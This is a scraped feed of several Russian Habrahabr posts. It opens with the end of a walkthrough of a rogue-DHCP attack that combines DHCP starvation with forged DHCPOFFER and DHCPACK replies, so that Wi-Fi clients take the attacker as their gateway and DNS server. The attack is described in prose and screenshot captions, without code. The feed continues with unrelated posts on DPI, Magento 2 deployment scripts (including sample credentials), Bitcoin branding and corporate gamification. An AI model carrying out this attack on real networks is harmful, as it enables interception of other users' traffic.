                        После чего клиент фиксирует конфликт IP-адресов и отправляет широковещательное сообщение отказа DHCPDHCPDECLINE:
                        Send DHCPDECLINE


                        DHCPDISCOVER


                        И так, последний этап атаки. После отправки DHCPDECLINE клиент с самого начала проходит процедуру получения IP-адреса, а именно отправляет широковещательный DHCPDISCOVER. Легитимный DHCP-сервер не может ответить на этот запрос, так как пул свободных IP-адресов переполнен после проведения атаки DHCP starvation и поэтому заметно тормозит, зато на DHCPDISCOVER можем ответить мы — 192.168.1.172.


                        Клиент 84:16:F9:19:AD:14 (Win10-desktop) отправляет широковещательный DHCPDISCOVER:
                        DHCPDISCOVER


                        Отвечаем DHCPOFFER:
                        Attacker DHCPOFFER


                        В DHCPOFFER мы предложили клиенту IP-адрес 192.168.1.2. Клиент получив данное предложение только от нас отправляет DHCPREQUEST, выставляя при этом в requested ip значение 192.168.1.2.


                        Клиент 84:16:F9:19:AD:14 (Win10-desktop) отправляет широковещательный DHCPREQUEST:
                        DHCPREQUEST


                        Отвечаем DHCPACK:
                        Attacker DHCPACK


                        Клиент принимает наш DHCPACK и в качестве шлюза по умолчанию и DNS-сервера выставляет наш IP-адрес: 192.168.1.172, а DHCPNAK от точки доступа присланный на 2 секунды позже просто проигнорирует.
                        Client network settings


                        Вопрос: Почему точка доступа прислала DHCPOFFER и DHCPNAK на 2-е секунды позже, да еще и предложила тот же IP-адрес 192.168.1.102, ведь клиент отказался от него?
                        DHCPOFFER from AP


                        Чтобы ответить на данный вопрос немного изменим фильтр в WireShark и посмотрим ARP запросы от точки доступа:
                        Add ARP requests from AP


                        Ответ: После проведения атаки DHCP Starvation у DHCP-сервера не оказалось свободных IP-адресов, кроме того, от которого отказался один из клиентов: 192.168.1.102. Поэтому, получив DHCPDISCOVER-запрос, DHCP-сервер в течении 2-ух секунд отправляет три ARP-запроса, чтобы узнать кто использует IP-адрес: 192.168.1.102, и после того, как сервер убедился что данный IP-адрес свободен, поскольку никто не ответил, выдает его клиенту. Но уже слишком поздно злоумышленник успел ответить быстрее.


                        Результаты:


                        Таким образом, мы можем выставлять любые сетевые параметры, а именно: шлюз по умолчанию, DNS сервер и другие — любому подключенному или новому клиенту в атакуемой WiFi сети, при условии, что мы к ней уже подключены и можем прослушивать широковещательный трафик.


                        Видео проведения атаки на MacOS Siera и Windows 10:





                        Ну и конечно же PoC.

                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/338860/


                        Метки:  

                        DPI-дайджест: Закон и порядок, ИБ и виртуализация

                        Четверг, 28 Сентября 2017 г. 08:36 + в цитатник
                        VASExperts сегодня в 08:36 Разработка

                        DPI-дайджест: Закон и порядок, ИБ и виртуализация

                          В 5-м тематическом дайджесте мы поговорим о сетевых технологиях, приведем базовую аналитику по информационной безопасности и материалы по следам нововведений законодателей.

                          Другие выпуски дайджеста:


                          / Flickr / Pascal / PD

                          5 проблем NFV
                          • Знакомство с основными сложностями в работе с Network Functions Virtualization и виртуальными сетевыми узлами. Смотрим на архитектуру, работу с устаревшими сетями, проблемы с безопасностью и ситуацию со стандартами и практическими кейсами.

                          VPLS для доступа к ЦОД
                          • Virtual Private LAN Service — это один из наиболее гибких инструментов для получения доступа к серверам, расположенным в дата-центрах. Здесь мы приводим небольшой туториал по способам подключения, рассказываем про особенности VPLS и преимущества виртуализации.

                          Сетевые платы Bypass – отказоустойчивость в сетях с DPI
                          • Как технология Bypass позволяет пропускать трафик с порта на порт, минуя контроллер, даже при отключенном питании сетевой платы. Поговорим о том, где использую платы с Bypass-режимом, что есть на рынке и как определиться с выбором.

                          Конвергенция и унификация – несколько задач на одном устройстве
                          • Говорим о преимуществах конвергентной инфраструктуры, приводим примеры популярных конвергентных систем и проводим параллели с системой контроля и анализа трафика СКАТ DPI.

                          ИБ


                          Этапы проведения кибератак
                          • Рассказываем про «исследование» жертвы, установление контроля, организацию доступа и другие этапы атак. Помимо этого кратко останавливаемся на мерах безопасности.

                          Что нужно, чтобы стать инженером по ИТ-безопасности
                          • Разбираемся с тем, что входит в компетенции инженера по ИТ-безопасности. И кратко останавливаемся на том, что нужно для начала карьерного пути в этой сфере деятельности.

                          VPN – типы подключения и проверка безопасности
                          • Классический материал о плюсах и минусах использования VPN, протоколах, организации дистанционного доступа и проверке безопасности VPN-соединения.

                          Шифрованный трафик может быть классифицирован
                          • О том, как провайдер может гибко управлять трафиком без необходимости дешифрования пользовательских данных. Говорим о SSL/TLS-, P2P- и Skype-трафике.

                          Как безопасно обмениваться паролями в вашей сети
                          • Приводим примеры корпоративных менеджеров паролей и пишем о настройке автоматического доступа к устройствам без ввода пароля, одноразовых паролях и системе оповещения при получении доступа к паролю.

                          / Flickr / Pascal / PD

                          Закон и порядок


                          Фильтрация URL в рамках закона
                          • Говорим о базовых способах блокировки: по IP-адресу, по SNI и по сертификату. Разбираем пример соответствующей MITM-атаки и подчеркиваем противозаконность подобных действий.

                          Оповещение населения о ЧС – новая обязанность интернет-провайдера
                          • Рассматриваем нововведение в контексте современных системы оповещения, международного опыта и кратко останавливаемся на том, как провайдеры может реализовать доставку экстренных сообщений.

                          Типовой план внедрения СОРМ-3
                          • Что входит в перечень требований для внедрения системы СОРМ-3 — смотрим на эту задачу с точки зрения заказчика и исполнителя.

                          Что будет с интернет-провайдерами после 1 июля 2018 года
                          • Рассматриваем «пакет Яровой», базовые требования и штрафы. Помимо этого мы говорим о том, как можно смягчить негативные последствия от данного нововведения.

                          Разное


                          Вебинар «СОРМ-3 и фильтрация трафика»
                          • Сегодня (28.09.2017) в 11-00 по МСК компания VAS Experts проведет вебинар «СОРМ-3 и фильтрация трафика». Мы расскажем о практических кейсах, сценариях, особенностях, отличиях и различных нюансах внедрения СОРМ–1, СОРМ–2, СОРМ–3.

                          VAS Experts на ASIA 2017 GCCM в Сингапуре
                          • Рассказываем о нашем участии в 7-й ежегодной встрече членов клуба ASIA 2017 GCCM. На GCCM наша компания представляла продукт СКАТ DPI.

                          Интервью с Максимом Хижинским – C++ разработчиком системы DPI
                          • Ведущий инженером-программист нашей компании и один из экспертов команды разработчиков платформы глубокого анализа трафика СКАТ DPI рассказывает о себе, прикладных аспектах рабочей деятельности и личных интересах.
                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338862/


                          Метки:  

                          Зачем в 2017 году писать свой движок для мобильных игр?

                          Четверг, 28 Сентября 2017 г. 00:30 + в цитатник
                          В наши дни существует много игровых движков. Двумерные, трехмерные, нативные и на скриптах. На первый взгляд уже сделано все что нужно и можно просто делать игру. Однако по статистике около половины из топ 100 мобильных игр сделаны на своих движках. Почему многие крупные студии делают проекты исключительно на своих технологиях? Что их не устраивает в тех движках, что сейчас есть? Чтобы ответить на этот вопрос нужно понять зачем нужен движок, какие они вообще бывают и чем отличаются.


                          Читать дальше ->

                          https://habrahabr.ru/post/338214/


                          Метки:  

                          Развертывание Magento 2 приложения для разработки

                          Среда, 27 Сентября 2017 г. 23:47 + в цитатник
                          flancer сегодня в 23:47 Разработка

                          Развертывание Magento 2 приложения для разработки

                            В свете вышедшей в свет новой версии Magento — 2.2.0, решил выложить свой персональный опыт развертывания приложений на базе этой платформы. В статье описывается развертывание приложения именно для разработки модулей, а не для эксплуатации магазина (как говорится, технарям от технаря).


                            image


                            Введение


                            После довольно продолжительного эволюционирования скриптов автоматизации процесса развертывания Magento у меня сложился следующий набор, который я оформил в виде sample-проекта: flancer32/sample_mage2_app. Проект поднимает приложение для разработки публичного модуля "flancer32/mage2_ext_login_as" (выложен на Packagist'а) и "приватного" модуля "flancer32/sample_mage2_mod_repo" (доступен только с GitHub'а).


                            Скрипты были созданы и проверены под Ubuntu 16.04 / PHP 7.0.22 / Composer 1.5.2. Используемые в скриптах программы (php, composer, mysql, patch, ...) должны быть установлены глобально.


                            Должен быть настроен доступ через Composer к соответствующим репозиториям (Magento и Github — файл ~/.composer/auth.json):


                            {
                                "http-basic": {
                                    "repo.magento.com": {
                                        "username": "ab8303e79d1b86ac2676cda700bb93eb",
                                        "password": "00037fe23c3501389f08c7eaaab0cfda"
                                    }
                                },
                                "github-oauth": {
                                    "github.com": "9cde8d93840271c509d95707db07a9e1ef374014"
                                }
                            }
                            

                            Просьба создавать собственные параметры доступа и не использовать значения из примера.


                            Компоненты приложения

                            В самом общем случае Magento-приложение состоит из следующих частей:


                            • Платформа Magento 2 (типовые модули);
                            • Собственные модули web-приложения (включая тему);
                            • База данных;
                            • Медиа данные;
                            • Конфигурация;

                            Последовательность развертывания

                            Состав приложения задает последовательность рутинных действий, сводимую в общем случае, к следующей:


                            • конфигурирование процесса развертывания;
                            • развертывания Magento2-платформы;
                            • установка модулей web-приложения;
                            • инциализация базы данных;
                            • инициализация медиа-файлов;
                            • финализация (настройка прав доступа к файлам и т.п.);

                            Типы скриптов


                            Все развертывание производится при помощи shell-скриптов, которые можно разделить на три группы:


                            • головной скрипт (deploy.sh);
                            • конфигурационный (cfg.work.sh);
                            • рабочий (выполняет определенную часть работы по развертыванию);

                            Скрипты написаны не в стиле user friendly, а скорее в стиле friendly user — проверка входных параметров и совместимость запрошенных режимов работы друг с другом сведена к минимуму. Предполагается, что пользователь, запускающий скрипт развертывания с указанием параметров, понимает, что они означают и как они совместимы друг с другом.


                            Головной скрипт

                            deploy.sh


                            Его задача — определить режим развертывания приложения, подгрузить конфигурацию развертывания и запустить рабочие скрипты в соответствии с заданным режимом. Параметры запуска deploy.sh:


                            $ sh deploy.sh -h
                            
                            Magento2 application deployment script.
                            
                            Usage: sh deploy.sh -d [work|live] -h -m [developer|production] -E -S
                            
                            Where:
                              -d: Web application deployment mode ([work|live], default: work);
                              -h: This output;
                              -m: Magento 2 itself deployment mode ([developer|production], default: developer);
                              -E: Existing DB will be used in 'work' mode);
                              -S: Skip database initialization (Web UI should be used to init DB);

                            Развертывание приложения без инициализации базы данных (база инициализируется через Web UI):


                            $ sh deploy.sh -S

                            Развертывание приложения с сохранением существующей базы (при повторном развертывании, например):


                            $ sh deploy.sh -E

                            Развертывание приложения с переводом Magento 2 в production mode (если мы разрабатываем API, например):


                            $ sh deploy.sh -m production

                            Режим развертывания live предназначен при развертывании приложения для использования в качестве магазина и в данном примере не рассматривается.


                            Конфигурационный скрипт

                            cfg.init.sh


                            Параметры развертывания приложения прописываются в обычном shell-скрипте в виде переменных окружения. Шаблон (cfg.init.sh), содержащий все доступные переменные, копируется вручную в конфигурационный файл, соответствующий режиму развертывания (cfg.work.sh или cfg.live.sh), и заполняется соответствующими параметрами.


                            Шаблон конфигурации
                            #!/usr/bin/env bash
                            
                            # filesystem permissions
                            LOCAL_OWNER="owner"
                            LOCAL_GROUP="www-data"
                            
                            # Magento 2 installation configuration
                            # see http://devdocs.magento.com/guides/v2.0/install-gde/install/cli/install-cli-install.html#instgde-install-cli-magento
                            ADMIN_EMAIL="admin@store.com"
                            ADMIN_FIRSTNAME="Store"
                            ADMIN_LASTNAME="Admin"
                            ADMIN_PASSWORD="..."
                            ADMIN_USE_SECURITY_KEY="0"
                            ADMIN_USER="admin"
                            BACKEND_FRONTNAME="admin"
                            BASE_URL="http://mage2.host.org:8080/"
                            CURRENCY="USD"
                            DB_HOST="localhost"
                            DB_NAME="mage2"
                            DB_PASS="..."
                            DB_USER="www"
                            LANGUAGE="en_US"
                            SECURE_KEY="..."
                            SESSION_SAVE="files"
                            TIMEZONE="UTC"
                            USE_REWRITES="0"
                            USE_SECURE="0"
                            USE_SECURE_ADMIN="0"

                            Рабочий скрипт

                            Рабочие скрипты содержат практически идентичный заголовок, позволяющий


                            фиксировать место скрипта в иерархии остальных скриптов
                            # current directory where from script was launched (to return to in the end)
                            DIR_CUR="$PWD"
                            # Root directory (relative to the current shell script, not to the execution point)
                            # http://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html#tag_18_06_02
                            DIR_ROOT=${DIR_ROOT:=`cd "$( dirname "$0" )/../../" && pwd`}

                            и


                            определять запущен скрипт отдельно/в пакете и подгружать конфиг, если нужно
                            MODE=${MODE}
                            IS_CHAINED="yes"       # 'yes' - this script is launched in chain with other scripts, 'no'- standalone launch;
                            if [ -z "$MODE" ]; then
                                MODE="work"
                                IS_CHAINED="no"
                            fi
                            
                            # check configuration file exists and load deployment config (db connection, Magento installation opts, etc.).
                            FILE_CFG=${DIR_ROOT}/cfg.${MODE}.sh
                            if [ -f "${FILE_CFG}" ]; then
                                if [ "${IS_CHAINED}" = "no" ]; then    # this is standalone launch, load deployment configuration;
                                    echo "There is deployment configuration in ${FILE_CFG}."
                                    . ${FILE_CFG}
                                fi
                            else
                                if [ "${IS_CHAINED}" = "no" ]; then    # this is standalone launch w/o deployment configuration - exit;
                                    echo "There is no expected configuration in ${FILE_CFG}. Aborting..."
                                    cd ${DIR_CUR}
                                    exit 255
                                fi
                            fi

                            Конфигурирование процесса развертывания


                            Здесь все просто — запускается конфигурационный скрипт, который задает соответствующие переменные окружения:


                            FILE_CFG=${DIR_ROOT}/cfg.${MODE}.sh
                            if [ -f "${FILE_CFG}" ]
                            then
                                echo "There is deployment configuration in ${FILE_CFG}."
                                . ${FILE_CFG}
                            else
                                echo "There is no expected configuration in ${FILE_CFG}. Aborting..."
                                cd ${DIR_CUR}
                                exit 255
                            fi

                            Развертывания Magento2-платформы


                            deploy/bin/app/mage.sh:


                            По большому счету все сводится к созданию в соответствующем каталоге (work)


                            DIR_MAGE=${DIR_ROOT}/${MODE}        # root folder for Magento application
                            ...
                            # (re)create root folder for application deployment
                            if [ -d "${DIR_MAGE}" ]; then
                                if [ "${MODE}" = "${MODE_WORK}" ]; then
                                    echo "Re-create '${DIR_MAGE}' folder."
                                    rm -fr ${DIR_MAGE}    # remove Magento root folder
                                    mkdir -p ${DIR_MAGE}  # ... then create it
                                fi
                            else
                                mkdir -p ${DIR_MAGE}      # just create folder if not exist
                            fi
                            echo "Magento will be installed into the '${DIR_MAGE}' folder."

                            приложения через Composer:


                            composer create-project --repository-url=https://repo.magento.com/ magento/project-community-edition=2.2.0 ${DIR_MAGE}

                            Таким образом, корневой каталог для конфигурации web-сервера: ${DIR_ROOT}/work


                            Установка модулей web-приложения


                            deploy/bin/app/own/work.sh


                            Эта часть процесса зависит от режима развертывания. Сначала донастраивается дескриптор развертывания приложения (work/composer.json) — здесь важно обратить внимание на версию Composer'а (например, на старых версиях не работает composer config minimum-stability):


                            echo "Configure composer.json"
                            composer config minimum-stability dev
                            
                            echo "Add custom repositories"
                            composer config repositories.local '{"type": "artifact", "url": "../deploy/repo/"}'  # relative to root Mage dir

                            затем устанавливаются нужные версии нужных модулей:


                            echo "Add own modules"
                            # public module from Packagist
                            composer require flancer32/mage2_ext_login_as:dev-master
                            # add private/public GitHub repo & install module from this repo
                            composer config repositories.sample_repo vcs https://github.com/flancer32/sample_mage2_mod_repo
                            composer require flancer32/sample_mage2_mod_repo:dev-master
                            # add zipped module from local repository (see deploy/repo/sample_mage2_mod_zip-0.1.0.zip)
                            composer require flancer32/sample_mage2_mod_zip

                            В данном случае мы подключили к приложению два модуля для разработки:


                            • flancer32/mage2_ext_login_as
                            • flancer32/sample_mage2_mod_repo

                            Остается указать IDE, что данные модули находятся под контролем версий:


                            image


                            Опционально можно применить патчи как к сторонним модулям (как в случае с flancer32/sample_mage2_mod_zip, установленном из zip'а), так и к исходникам самой Magento (в последнее время Magento Team значительно улучшила работу с правками, но все равно бывает необходимость применить известную "таблетку", которая не вошла в крайний релиз):


                            echo "Apply patches"
                            patch vendor/flancer32/sample_mage2_mod_zip/etc/module.xml ${DIR_DEPLOY}/patch/mod_sequence.patch

                            В данном случае патчится сторонний модуль flancer32/sample_mage2_mod_zip, в который добавляется порядок загрузки:


                                
                                    
                                        
                                    
                                

                            Инициализация базы данных


                            deploy/bin/app/db/work.sh
                            Также зависит от режима развертывания и от ключей запуска deploy.sh. Возможен вариант, когда нужно пересоздать базу:


                                echo "Drop DB '${DB_NAME}'."
                                mysqladmin -f -u"${DB_USER}" -p"${DB_PASS}" -h"${DB_HOST}" drop "${DB_NAME}"
                                echo "Create DB '${DB_NAME}'."
                                mysqladmin -f -u"${DB_USER}" -p"${DB_PASS}" -h"${DB_HOST}" create "${DB_NAME}"
                                echo "DB '${DB_NAME}' is created."
                            
                                # Full list of the available options:
                                # http://devdocs.magento.com/guides/v2.0/install-gde/install/cli/install-cli-install.html#instgde-install-cli-magento
                                php ${DIR_MAGE}/bin/magento setup:install  \
                                --admin-firstname="${ADMIN_FIRSTNAME}" \
                                --admin-lastname="${ADMIN_LASTNAME}" \
                                --admin-email="${ADMIN_EMAIL}" \
                                --admin-user="${ADMIN_USER}" \
                                --admin-password="${ADMIN_PASSWORD}" \
                                --base-url="${BASE_URL}" \
                                --backend-frontname="${BACKEND_FRONTNAME}" \
                                --key="${SECURE_KEY}" \
                                --language="${LANGUAGE}" \
                                --currency="${CURRENCY}" \
                                --timezone="${TIMEZONE}" \
                                --use-rewrites="${USE_REWRITES}" \
                                --use-secure="${USE_SECURE}" \
                                --use-secure-admin="${USE_SECURE_ADMIN}" \
                                --admin-use-security-key="${ADMIN_USE_SECURITY_KEY}" \
                                --session-save="${SESSION_SAVE}" \
                                --cleanup-database \
                                --db-host="${DB_HOST}" \
                                --db-name="${DB_NAME}" \
                                --db-user="${DB_USER}" \
                                --db-password="${DB_PASS}"

                            или просто подключить приложение к существующей базе:


                                php ${DIR_MAGE}/bin/magento setup:install  \
                                --admin-firstname="${ADMIN_FIRSTNAME}" \
                                --admin-lastname="${ADMIN_LASTNAME}" \
                                --admin-email="${ADMIN_EMAIL}" \
                                --admin-user="${ADMIN_USER}" \
                                --admin-password="${ADMIN_PASSWORD}" \
                                --backend-frontname="${BACKEND_FRONTNAME}" \
                                --key="${SECURE_KEY}" \
                                --session-save="${SESSION_SAVE}" \
                                --db-host="${DB_HOST}" \
                                --db-name="${DB_NAME}" \
                                --db-user="${DB_USER}" \
                                --db-password="${DB_PASS}"

                            После подключения приложения к базе можно произвести донастройку базы. Например так:


                            echo "Additional DB setup."
                            MYSQL_EXEC="mysql -u ${DB_USER} --password=${DB_PASS} -D ${DB_NAME} -e "
                            ${MYSQL_EXEC} "REPLACE INTO core_config_data SET value = '1', path ='fl32_loginas/controls/customers_grid_action'"
                            

                            В версии 2.2.0 есть возможность прописывать параметры конфигурации через CLI, но напрямую в базе можно задавать не только эти параметры, но и многое другое (например, задавать налоговые ставки).


                            Инициализация медиа-файлов


                            В общем случае, при развертывании магазина с темой, требуется инициализация медиа-файлов (из backup'а или клонирование с эталонного сервера). При разработке модулей этот шаг можно пропустить. Пропускаем.


                            Финализация


                            Финализацию можно разбить на две части: специфичная для режима развертывания и общая.


                            deploy/bin/app/final/work.sh


                            В зависимости от режима можно выполнять перевод приложения в developer/production mode, включать/отключать кэш, проводить компиляцию кода:


                            if [ "${OPT_MAGE_RUN}" = "developer" ]; then
                            
                                php ${DIR_MAGE}/bin/magento deploy:mode:set developer
                                php ${DIR_MAGE}/bin/magento cache:disable
                                php ${DIR_MAGE}/bin/magento setup:di:compile
                            
                            else
                            
                                php ${DIR_MAGE}/bin/magento deploy:mode:set production
                            
                            fi

                            и запускать команды установленных модулей:


                            if [ "${OPT_USE_EXIST_DB}" = "no" ]; then
                            
                                php ${DIR_MAGE}/bin/magento fl32:init:catalog
                                php ${DIR_MAGE}/bin/magento fl32:init:customers
                                php ${DIR_MAGE}/bin/magento fl32:init:sales
                            
                            fi

                            В конце желательно запустить хоть раз cron и выполнить переиндексацию (чтобы сократить ругань в админке):


                            php ${DIR_MAGE}/bin/magento indexer:reindex
                            php ${DIR_MAGE}/bin/magento cron:run

                            deploy/bin/final.sh


                            Общая финализация развертывания включает в себя установку прав доступа к файлам:


                            if [ -z "${LOCAL_OWNER}" ] || [ -z "${LOCAL_GROUP}" ] || [ -z "${DIR_MAGE}" ]; then
                                echo "Skip file system ownership and permissions setup."
                            else
                                echo "Set file system ownership (${LOCAL_OWNER}:${LOCAL_GROUP}) and permissions to '${DIR_MAGE}'..."
                                chown -R ${LOCAL_OWNER}:${LOCAL_GROUP} ${DIR_MAGE}
                                find ${DIR_MAGE} -type d -exec chmod 770 {} \;
                                find ${DIR_MAGE} -type f -exec chmod 660 {} \;
                            fi
                            
                            # setup permissions for critical files/folders
                            chmod u+x ${DIR_MAGE}/bin/magento
                            chmod -R go-w ${DIR_MAGE}/app/etc

                            Заключение


                            Описанный в статье процесс развертывания приложения на базе Magento 2 не является универсальным и может модифицироваться в зависимости от проекта.


                            Как говорилось в древние времена, очередную версию Windows можно начинать использовать после выхода второго сервис-пака. Всех причастных — с выходом Magento 2.2.0! А Magento Team — стойкости и оптимизма в этой безнадежно проигранной борьбе с непреодолимой сложностью кода и вероломством требований!!!

                            Original source: habrahabr.ru (comments, light).

                            https://habrahabr.ru/post/338866/


                            Метки:  

                            Как мы делали дизайн для Биткоина

                            Среда, 27 Сентября 2017 г. 19:44 + в цитатник
                            Logomachine сегодня в 19:44 Дизайн

                            Как мы делали дизайн для Биткоина

                              C Логомашиной связался Сатоши Накамото — он попросил поработать над стилем Биткоина. В этой статье мы подробно расскажем, как мы придумывали и визуализировали стиль для самой популярной криптовалюты и к чему это привело.

                              Конечно, это шутка — мы сами решили сделать логотип и фирменный стиль для Биткоина. У криптовалют есть условные знаки, но мы хотели визуализировать само явление — футуристичную валюту, «золото» нашего времени. Это интересный дизайнерский вызов, который привлечет внимание и покажет, как можно описать новое явление визуальными образами.

                              В роли Сатоши Накамото выступила Вика из отдела контента — она заполнила наш стандартный бриф как заказчик. Я стал менеджером проекта и выбрал дизайнеров для работы над логотипом и стилем.

                              Как и положено приличному менеджеру, я перевел пожелания «клиента» на дизайнерский язык. Получилось, что нам нужно разработать абстрактный футуристичный стиль, который отразит идею майнинга криптовалюты и будет визуальной метафорой «золота нового поколения».

                              Обозначив задачу, мы начали погружаться в тему:

                              image
                              Собираем абстрактные референсы с частицами, волнами и прочими метафорами

                              Превращаем первые мысли в графику:

                              image
                              Марина перебирает варианты

                              imageimageimage
                              Первые варианты напоминают монетку

                              Попробовали накидать футуристичный стиль:

                              image
                              Изображаем монету, излучающую свет

                              image
                              Пробуем более «дерзкое» и непривычное сочетание цветов

                              Обыгрываем тему космоса как чего-то бескрайнего и неизведанного:

                              image
                              Цвета по-прежнему необычные, но не такие яркие

                              image
                              Прорабатываем тему излучения и частиц

                              Получается слишком противоречиво — кажется, большинство не оценит такие мотивы. Оставляем идею показать смысл блокчейна через метафору «частиц, собирающихся в одно целое», пробуем разные стили:

                              image
                              Делаем цельную круглую «монету»

                              image
                              Пробуем сделать волны-туманности

                              image
                              Играем с формой, плотностью и цветом, ушли в тему облаков

                              image
                              Пробуем сделать из частиц пиксели и составить орнаменты

                              image
                              Стараемся не отходить от идеи «современного золота»

                              Приходим к финальному варианту, объединившему в себе идеи «динамической, абстрактной сущности» и «современного золота». Он похож и на круги на воде, и на туманности и, конечно, анимирован:

                              image
                              Финальный логотип Биткоин

                              Мы сразу знали, что будем делать динамику, поэтому сразу готовили все частицы к анимации:

                              image
                              Дизайнер Саша работает над анимацией логотипа

                              Кроме анимации для презентации мы сделали простую трехмерную модель футуристичного банкомата:

                              image
                              Модель банкомата Bitcoin в 3D Max

                              image
                              Презентация интерфейса банкомата Bitcoin (банкомат сканирует сетчатку глаза пользователя, чтобы его идентифицировать)

                              image
                              Визуализация банкомата днем и ночью

                              Итог:

                              Полную презентацию можно посмотреть здесь!
                              На данный момент проект посмотрело больше двадцати тысяч человек со всего мира. Мы получили за него награду — «ленточку» от Behance в категории «графический дизайн». Кроме того, к нам обратилось несколько проектов, связанных со сферой IT и криптовалютами с предложениями купить этот концепт, но мы не торопимся его продавать. Несколько блокчейн-проектов стали нашими клиентами.

                              Сейчас мы готовим следующий концепт, чтобы его не пропустить — подписывайтесь на Логомашину ВКонтакте!
                              Original source: habrahabr.ru (comments, light).

                              https://habrahabr.ru/post/338854/


                              Метки:  

                              Зачем бизнесу игры и при чем тут ЕРАМ

                              Среда, 27 Сентября 2017 г. 19:04 + в цитатник
                              AliceMir сегодня в 19:04 Разработка

                              Зачем бизнесу игры и при чем тут ЕРАМ

                                В 2015 году к ЕРАМ присоединилась геймдев-студия Signus Labs. Внутри ЕРАМ она стала подразделением Virtual Reality, Augmented Reality and Game Experience Delivery. Там разрабатывают игровые решения для бизнеса.

                                Зачем корпорациям клиенты-игроки, что за игры делают в ЕРАМ и как устроена работа геймдизайнеров и VR/AR-разработчиков?


                                Лет тридцать назад, когда компьютерные игры только появились, считалось, что геймеры – сплошь маргинальные подростки с красными глазами. Время шло, технологии совершенствовались, игры от них не отставали. Трехмерная графика сменила двухмерную, появились шутеры от первого лица, из консолей игры перекочевали на персональные компьютеры, а оттуда – в мобильные гаджеты. На двухтысячные пришелся бум казуальных игр – тех самых, в которые играют на телефонах и в соцсетях. Для казуальных игр не нужны ни усидчивость, ни особые навыки – только смартфон или браузер и пара минут, которые нечем занять. Не удивительно, что в игры теперь играют не только подростки: разбивать конфеты в Candy Crush понравилось и их мамам, и бабушкам. Причем понравилось настолько сильно, что теперь традиционный бизнес привлекает их с помощью этих самых игр.

                                Павел, менеджер подразделения:

                                Для ЕРАМ смысл игровых технологий не в том, чтобы разрабатывать игры как таковые. Мы делаем много решений на игровом инструментарии: Unity-программисты делают 3D, дополненную и виртуальную реальность, но это игры для бизнеса.

                                В XXI веке мы пришли в постиндустриальное общество, где люди больше не покупают товары, услуги или функции. Теперь они покупают истории, образы, впечатления и игру. Этот новый для традиционной индустрии опыт работы с аудиторией, а мы в геймдеве хорошо научились этому за последние 30 лет. Мы берем готовые технологии и механики геймдева, — 3D-визуализацию, AR, VR, геймификацию — и перекладываем на традиционный бизнес. Вот зачем мы здесь.

                                Всё начинается с геймдизайна


                                Геймдизайнеры – это те же UX-дизайнеры, которые имеют дело со структурой игры, а не с ее внешним видом. Они знают, как увеличить конверсию, вернуть и удержать покупателей – и всё это с помощью геймификации, виртуальной и дополненной реальности. Геймдизайнеры понимают, как устроены игры, разбираются в их психологических основах и игровых механиках и по складу ума похожи скорее на инженеров, чем на художников.

                                Мария, геймдизайнер:

                                Нашим клиентам мы часто предлагаем игры по принципу free to play – в такие можно играть бесплатно и при желании пользоваться платными опциями. В обычных играх дополнительное здоровье или золото покупают с банковских карт или онлайн-кошельков. В нашем случае платные опции открываются игроку, если он пользуется услугами нашего клиента или покупает его товар.

                                Есть много способов мотивировать людей совершать ожидаемые действия. Чаще всего мы давим на стремление развиваться, выражать себя творчески и самое простое, но важное – просто оформляем задачу и условия ее выполнения. Удивительно, но это работает. Мы словно говорим игроку: «Слабо?» — и тут он теряет бдительность и хочет проверить, способен ли выполнить миссию за тридцать ходов. Он возвращается, вновь и вновь пробует пройти уровень и заодно контактирует с брендом нашего клиента. Еще люди любят испытывать удачу. На этом основана наша концепция мобильного приложения для банков, которое увеличивает количество транзакций по карте. В приложении иконка сундука, а в cундуке — приз от банка. Сундук открывается виртуальным ключом, и каждая транзакция по карте дает шанс получить этот ключ. Обычно людям всё равно, чем платить: картой или наличными. Мы даем им повод выбрать карту, чтобы выиграть приз, пускай и небольшой.

                                Геймификация не только возвращает и удерживает клиентов – еще она хороша для подбора и мотивации персонала. Например, мы делали проект геймификации для соискателей вакансий в одной компании. Мы хотели, чтобы кандидаты присылали компании как можно больше информации о себе: не только резюме, но и фотографии, рекомендательные письма. За каждый шаг пользователь получал баллы и мог увидеть, сколько очков заработали лидеры.

                                Владимир, геймдизайнер:

                                Первостепенная задача геймдизайнера – решить, как игрок играет. Это для нас (геймдизайнеров) важнее и графики, и математики, и чего бы то ни было еще. Например, это мы решаем, как игрок восстанавливает здоровье в шутере и сколько опыта получает за прохождение уровня; придумываем для пользователей миссии, уровни и переходы между ними. Для приложений дополненной и виртуальной реальности геймдизайнеры помогают разрабатывать пользовательский интерфейс.

                                В основе любых игровых приложений лежат общие базовые принципы. В виртуальной и дополненной реальности нужно решать те же задачи, что и в крупных (да и вообще в любых) играх.

                                По моему опыту, основной задачей VR- и AR-приложений является визуальное представление информации в новом формате, который может открыть пользователю до этого неизведанные возможности взаимодействия с контентом. Мы помогаем бизнесу ошеломить потенциального клиента, вызвать у него эмоциональный отклик, а значит – превратить его из потенциального клиента в настоящего. Хотя иногда VR- и AR-функционал нужен, чтобы решать весьма специфические задачи.



                                Мы разработали приложение для шлема виртуальной реальности HTC Vive для одного из наших заказчиков. Оно обучает новых сотрудников пользоваться оборудованием на нефтяных вышках. Казалось бы, обучающее приложение, но в нем мы решали чисто игровые задачи. Например, в реальном мире приборы находятся далеко друг от друга. Нам нужно было сделать так, чтобы пользователь не блуждал по виртуальной реальности в поисках незнакомых машин и быстро знакомился с оборудованием. Это классический случай левел-дизайна: каждый новый прибор и новая точка на карте – это переход на следующий уровень. Еще одна задача – увлечь пользователя: мотивированный человек справится с обучением быстрее, чем человек скучающий. Поэтому бизнесу выгодно делать обучение интересным, и это уже история про геймификацию. Даже простой индикатор выполнения добавляет азарта и мотивирует на достижение результата. Когда пользователь видит на экране «0/19», он понимает, что ему нужно пройти 19 точек, и воспринимает это как игровую миссию. Геймификация идет на пользу всем: сотруднику нравится учиться, а бизнес быстрее получает сотрудника, готового к работе.

                                VR – это постоянные эксперименты и поиск правильной метафоры


                                Разработка виртуальной и дополненной реальности – главный фокус подразделения. Это перспективное направление, и клиенты интересуются им всё чаще.

                                Георгий, VR-разработчик:

